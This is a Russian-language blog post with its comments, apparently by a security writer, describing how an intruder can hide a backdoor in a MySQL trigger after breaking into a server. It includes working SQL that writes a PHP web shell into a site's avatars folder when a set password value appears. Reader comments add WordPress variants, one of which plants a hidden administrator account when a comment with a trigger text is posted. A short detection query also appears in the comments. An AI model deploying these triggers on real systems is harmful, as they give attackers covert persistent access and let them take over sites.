Бэкдор в триггере

Нередко случается, что все руткиты/бэкдоры/веб-шеллы, полученные взломщиком с большими усилиями, однажды обнаруживаются администратором сервера и безвозвратно удалются. Чтобы закрепиться в системе как можно дольше, используется множество способов, большинство из которых сводится к хранению бэкдора непосредственно в файловой системе. У меня возникла идея хранить “черный ход” в систему в триггерах базы данных.

Триггер – это особая хранимая процедура, которая выполняется при наступлении определенного события на уровне таблицы базы данных. Этими событиями обычно являются использование операторов INSERT, UPDATE, DELETE. Главная особенность триггера заключается в том, что хранимая процедура, которую по сути он представляет собой, вызывается не пользователем, а самой базой данных и только при определенном условии.

При восстановлении утраченного доступа в систему может быть использован заранее внедренный триггер, создающий небольшой веб-шелл или выявляющий пароль администратора, который выполняется при наступлении специального события, известного только взломщику. Выгода такого решения очевидна: если в файловой системе администраторы еще как-то пытаются отслеживать посторонние объекты, то в базе данных обычно этого не делают.

Преположим, что на сайте предусмотрена свободная регистрация пользователей. Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл. Событиями для срабатывания триггера могут быть какими угодно: создание определенного поста на форуме, посещение сайта с заданным User-Agent’ом и т.д. Все зависит от характера и структуры таблиц, их предназначения, а также возможности повлиять на конкретную таблицу своими данными в рамках легитимного запроса с операторами INSERT, UPDATE.

Рассмотрим на примере MySQL триггер, записывающий веб-шелл после того, как пароль пользователя сайта становится равным определенному значению.

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;
|

Сперва хочу отметить, что для создания триггера текущий пользователь MySQL должен иметь привилегию SUPER. Для срабатывания хватит прав непривилегированного пользователя, но исключительно для данного примера имеющего file_priv (для INTO OUTFILE). Итак, сначала задаем символ разделения отличный от “;” для того, чтобы использовать “;” внутри процедуры триггера. Далее создаем триггер с именем backdoor для таблицы users, срабатывающий после UPDATE; для каждой строки таблицы выполняем набор инструкций между BEGIN … END и при этом задаем label для последующего использования оператора LEAVE (аналог return). Затем следует основное условие: если пароль пользователя с идентификатором 123 равен значению “gimme_that_shell”, тогда выполняется INTO OUTFILE, записывающий небольшой шелл в директорию с аваторами, иначе выполнение процедуры прерывается. Вместо INTO OUTFILE могут быть использованы другие варианты, например повышение прав пользователя до администратора.


Posted

in

by

Comments

18 responses to “Бэкдор в триггере”

  1. Pento Avatar

    Може таки:

    ?
    Зачем изворачиваться с регист глобалс и так сильно сокращать код?

  2. Pento Avatar

    Блин, мой код порезался 🙁

  3. Spectre Avatar

    Pento, какая разнича какой код? Это же только для примера, все ж зависит от ситуации.

    А способ реально полезный. Скажем спасибо Разору и разработчикам МуСкула за 5-тую версию )))

  4. Raz0r Avatar

    @Spectre
    Спасибо!

    Действительно, код может быть каким угодно, главное, чтобы он умещался в пределах системной переменной MySQL max_allowed_packet

  5. wi11son Avatar

    Классная идея, ведь действительно, мало кто отслеживает триггеры. Для этого хотя бы нужно иметь хорошенький интерфейс, цель и желание перелопачивать базы на тему изложенную выше…

  6. xa-xa89 Avatar
    xa-xa89

    Классная идея!!!

  7. Best Avatar
    Best

    А есть подобное решение для MSSQL?

  8. Raz0r Avatar

    уверен, что существует, и не только для MSSQL – синтаксис триггеров в большинстве СУБД очень похож

  9. Raz0r Avatar

    @wi11son
    на самом деле выявить посторонний триггер можно очень легко:
    SELECT * FROM information_schema.TRIGGERS

  10. Dominus Avatar
    Dominus

    по поводу триггеров в MS http://msdn.microsoft.com/en-us/library/aa258254.aspx и Oracle http://download.oracle.com/docs/cd/B28359_01/appdev.111/b28370/triggers.htm

    p.s. RaZ0r, как всегда полезная инфа, спасибо

  11. halk Avatar

    весьма интересное решение..

    спасибо за идею, потестим

  12. Raz0r Avatar

    @Dominus @halk
    спасибо =)
    Приношу извинения за задержку одобрения ваших комментариев, акисмет отправил их в спам… Задумался об установке обычной капчи вместо него, такое распознавание “спама” меня не устраивает =\

  13. lisa99 Avatar

    >создание определенного поста на форуме
    ну это хлопотно. вытащить из таблиц той же воблы событие конкретного постинга…

    а в целом – а что еще интересного может дать применение триггеров на сайте жертвы в свою пользу, кроме шелла?
    именно после удаления шелла/блокирования аккаунта и прочее

  14. Сергей Avatar
    Сергей

    Ребят, мож, я тупой, но не пойму всей сути статьи.
    Как посторонний человек может создать триггерна постороннем сайте?

    >Для получения в любой момент альтернативного доступа в систему, взломщик создает учетную запись обычного пользователя, затем он разрабатывает триггер таким образом, чтобы при изменении пароля его аккаунта определенным значением триггер записывал в папку небольшой веб-шелл.

    Типа я могу зарегаться на любом форуме, написать свой триггер, попросить владельца форума его скомпилить у себя, а после уже изменить свой пароль и залить веб-шелл?
    Мдя.. ИМХО, но статья по-моему из рода “нашёл ужасную багу – любые данные можно безвозвратно уничтожить всего лишь простым ударом утюгом по системному блоку! Ааа!!! берегитесь утюгов!!!”

  15. Raz0r Avatar

    Читайте внимательнее – нужен локальный доступ, т.е. подразумевается, что на скомпрометированной машине уже есть, например, веб-шелл, и вам нужно оставить бэкдор.

  16. vovasik Avatar
    vovasik

    на то он и бекдором называется что бы после проникновения на сервер создать запасной вариант востановиться на нем)в определениях не хорошо остаться)это касательно прошлого коммента)а касательно тригера то у меня почему то phpadmin ругается на разделитель:( что за хрень , есть еще какая нибудь инфа

  17. adiz Avatar
    adiz

    а тригер точно на способен на бекдор сколько не пробовал под wp нечего не вышло

    DELIMITER //
    CREATE TRIGGER backdoor AFTER UPDATE ON wp_users
    FOR EACH ROW label:BEGIN
    IF (SELECT user_pass FROM wp_users WHERE ID=1)=’$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’ THEN
    SELECT ” INTO OUTFILE ‘site/smile.php’;
    ELSE
    LEAVE label;
    END IF;
    END;
    //
    DELIMITER ;

    я бы подумал что руки кривые, но и у ребят с форума тоже нечего не получилось

    DELIMITER //
    CREATE TRIGGER `INSERT` BEFORE INSERT ON `wp_comments`
    FOR EACH ROW BEGIN
    IF NEW.comment_content = ‘add admin’ THEN
    INSERT INTO `wp_users` ( `ID` , `user_login` , `user_pass` ) VALUES
    (‘31337’, ‘root’, ‘$P$B9wcvAmi3JvyqJ5991Qif8LRgzSAfc.’);
    INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES
    (‘31337’, ‘wp_capabilities’, ‘a:1:{s:13:”administrator”;s:1:”1″;}’),
    (‘31337’, ‘admin_color’, ‘fresh’),
    (‘31337’, ‘comment_shortcuts’, ‘false’),
    (‘31337’, ‘rich_editing’, ‘true’),
    (‘31337’, ‘nickname’, ‘root’),
    (‘31337’, ‘first_name’, ‘drtro.public@gmail.com’),
    (‘31337’, ‘wp_user_level’, ’10’);

    END IF;
    END
    //
    DELIMITER ;

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.